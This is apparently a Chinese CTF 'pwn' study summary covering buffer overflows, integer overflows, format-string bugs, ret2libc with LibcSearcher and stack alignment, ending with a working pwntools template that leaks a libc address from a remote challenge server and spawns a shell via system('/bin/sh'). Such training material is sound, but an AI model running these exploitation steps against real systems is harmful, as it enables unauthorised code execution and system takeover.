CTF总结-PWN篇

一、通用过程

  1. 通过file指令查看二进制文件是32位还是64位,这个影响特别大(涉及参数的传递方式)
  2. 通过checksec指令查看可执行文件的保护措施开启情况
  3. 运行一下这个可执行文件,了解一些程序运行流程
  4. 开始通过pwntools解题
  5. 如果会对你的输入进行特殊处理,请善用\x00进行截断

二、缓冲区溢出攻击

  1. 寻找可以进行攻击的位置
  2. 通过cyclic [number] 获得一个长度为number的序列
  3. 在攻击处输入上一步获得的序列,查看报错信息
  4. 通过cyclic -l [序列] 来判断从第几位开始覆盖的是返回地址
  5. 构造payload
  6. 构造payload时请注意是32位程序还是64位程序,对于32位程序,传递参数可以通过栈溢出来直接修改参数信息,对于64位程序,可能需要利用GOT技术。
  7. 请注意区分32位和64位程序的payload

32位:padding + 当前函数返回地址(记为函数A) + 函数A的返回地址(记为函数B) + 函数A的参数
**注意:**函数A的返回地址比函数A的参数后入栈
64位:padding + 当前函数返回地址 + pop_rdi_addr + 第一个参数的地址 + 希望调用的函数

  • 第2~4步也可略过,改为根据源代码进行推算,但是这样比较繁琐,而且容易出错。当也可以通过IDA来直接得出填满栈区所需要的字节数。而且这种做法其实更通用。(cyclic的方式对于64位程序可能无效)
  • 在进行缓冲区溢出攻击前,检查一下攻击函数的汇编代码末尾是否是正常形式,如果是有特殊操作,那么可能需要动态调试一下来确定最终的返回地址所在的位置的偏移量。

正常形式:leave; ret;

CTF总结-PWN篇_第1张图片
如图所示即为特殊操作,此时应该注意返回值的偏移量不再是简单的数组首地址到esp的偏移+4字节,而应该通过动态调试来确定。
题目来源

  • gdb会提示报错信息,但是请注意它是小端存储还是大端存储,比如它提示0x61616167时,对应的不一定是aaag,在小端存储下对应的其实是gaaa.
  • 请注意,并不是只有gets这种不限制长度的字符串读取才是缓冲区溢出的信号,对于不限制长度的strcpy也可能导致缓冲区溢出。

三、整型溢出攻击

  1. 一般如果涉及对字符串长度的判断,可能就是这一类题型,但往往不会作为单独的考点出现,一般会结合其他考点,比如整型溢出+缓冲区溢出。
  2. 解题方法也很简单,利用整型溢出即可。主要是找到能够攻击的位置。

四、格式化字符串漏洞

  1. 当出现printf(&buf)时,即为此类题型
  2. 具体的攻击原理参考CTFWiki
  3. 核心是利用%n,意思是将已经输出了的字符个数的值,写入对应参数指向的地址
  • 大致原理是在32位系统中,是通过栈来传递全部参数,而printf的参数数量取决于格式化字符串的内容,因此如果用户可以自己控制格式化字符串的内容,我们就可以手动构造一个需要大量参数的格式化字符串。这时候,printf就会不断输出栈中的内容了。
  • 同理,64位也可以利用这个原理进行攻击,只不过前若干个参数是通过寄存器来传递的。

五、DynELF / LibcSearcher

  1. 在利用LibcSearcher解题时,往往需要在经过一系列操作之后,再次回到某个函数,以便进行下一轮缓冲区溢出攻击,此时需要注意这个程序到底会读入多少个字符,如果是无限个(比如利用gets),就可以随意构造,如果是固定读入200个字节,就需要注意我们的payload只应该占199个字节,因为会填充’\x00’,否则多出来的这1个字节的’\x00’会留到下一次读入时再被读入,这就会导致我们的payload受到影响,无法正常工作。
  2. 根据利用的函数不同,需要传递的参数也不同,如果是32位程序,直接通过栈空间构造参数即可,对于64位程序,请善用Ropper寻找gadget

利用write

  • write需要3个参数,分别是:将数据写去哪里,待输出字符串首地址,输出字符串的字节数
  • 一般而言,第一个参数是p64(1),表示标准输出流,第二个参数是write_got,表示write_got实际地址的存储位置,第3个参数是4或8,根据是32位还是64位程序来判断。
  • 如果是64位参数,请注意通过寄存器传递参数。

利用puts

  • puts只需要传1个参数,但是需要注意,输出的字符串最后固定有1个’\n’,且长度不固定,一般通过r.recv()来接受,然后通过一个循环来补满4字节或8字节,最后通过u32来解开。

利用read

  • 一般而言,我们通过LibcSearcher找到system函数的首地址,以及字符串"/bin/sh"字符串的首地址,但如果找不到这个字符串,就可以利用read函数手动往data或者bss段写入数据。
  • read需要3个参数,与write类似,只不过第一个参数一般是0,表示标准输入流,第二个参数表示读入位置的首地址。
  • 注意,read不会给字符串补0x00,也不会读入回车(windows下至少是这样的)

利用execve

  • 有些时候,由于各种原因无法调用system时(比如栈对齐),此时可以尝试通过p64(ret_addr)来栈对齐,或者利用execve,但坏处是在64位环境下需要3个寄存器来构造参数。
    在这里插入图片描述

由于栈对齐导致的无法调用system:the monitored command dumped

  • 关于为什么会因为栈对齐而无法调用system,是因为在Ubuntu18下system调用时要求地址和16字节对齐,此时可以给payload加入一个p64(ret_addr)使得system的地址所在的栈地址往后偏8个字节,从而和16字节对齐。
    • 参考博客

六、堆

Use After Free

待补充

Double Free

待补充

七、其他注意点

  • 在64位环境下,如果要通过p64把数字包装成地址,请确保地址中不会出现\x00,否则会把payload截断。(然而事实上,高4位几乎必然是\x00,在这种情况下,请尝试寻找其它攻击点注入地址)
  • 在调用shellcraft.sh()时,请记得先设置context,否则32位的系统生成了64位系统的汇编指令就GG了。

context(os=‘linux’,arch=‘amd64’),arch根据checksec填。

  • 如果是涉及伪随机数,请注意即使是相同的随机数种子,在Windows下和在Linux下生成的随机数也不一定是相同的。请优先在Ubuntu下生成对应的随机数序列。
  • 可以通过system("/bin/sh")调用命令行程序,也可以通过system(“sh”)来调用,对于bash同理,如果提示服务器环境没有bash,可以通过把参数改成sh的方式来调用sh

服务器环境没有bash时的提示:’/bin/bash: not found\n’

八、附录 && 速查表

不要直接复制粘贴,里面的符号都被自动转换成中文符号了


  • LibcSearcher的代码模板
import sys
sys.path.append('/home/root123/Desktop/LibcSearcher-master')

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

r = remote('124.126.19.106', 31793)
elf = ELF('./pwn/level3')       #打开对应的二进制文件
write_plt = elf.plt['write']    #获取write的PLT地址
write_got = elf.got['write']    #获取write的GOT地址

func_addr = elf.sym['main']     #获取main函数的地址, 当可以循环利用时, 与下述两个方式等价
func_addr = 0x0804844B          #手动输入关键函数的地址(发起缓冲区溢出攻击的函数)
func_addr = elf.sym['vulnerable_function'] #通过elf获取关键函数的地址

payload = b'0'*0x88 + b'0'*4 + p32(write_plt) + p32(func_addr) + p32(1) + p32(write_got) + p32(4)
# 用于填充栈空间的padding + write的PLT地址 + 关键函数的地址(作为调用write函数后的返回地址) + 给write函数的3个参数
# 3个参数的含义分别是: 标准输入流, 输出的字符串首地址, 输出的字符串长度
# 注意: 通过write_plt调用write和通过write真实地址调用是等价的, GOT在第一次调用write之后, 存的就是write的真实地址了

r.recvrepeat(1)
r.sendline(payload)

write_addr = u32(r.recv(4))     #

# print(hex(write_addr))

obj = LibcSearcher('write', write_addr)

libc_base = write_addr - obj.dump('write')      #
sys_addr = libc_base + obj.dump('system')       #
binsh_addr = libc_base + obj.dump('str_bin_sh') #

anotherPayload = b'0'*0x88 + b'0'*4 + p32(sys_addr) + b'0'*4 + p32(binsh_addr)  #

r.recvrepeat(1)
r.sendline(anotherPayload)
r.interactive()
  • ropper -f [文件名] --search [“指令”]
    • ropper -f pwn-2 --search “pop rdi; ret”
      (注意rdi后面的分号和空格)
  • ROPgadget --binary [文件名] --only [“指令”]
    • ROPgadget --binary pwnme --only “pop|ret”

八、一些比较有趣的题目

  • welpwn
  • stack2
  • ciscn_2019_c_1Ubuntu18栈对齐

你可能感兴趣的:(CTF,信息安全)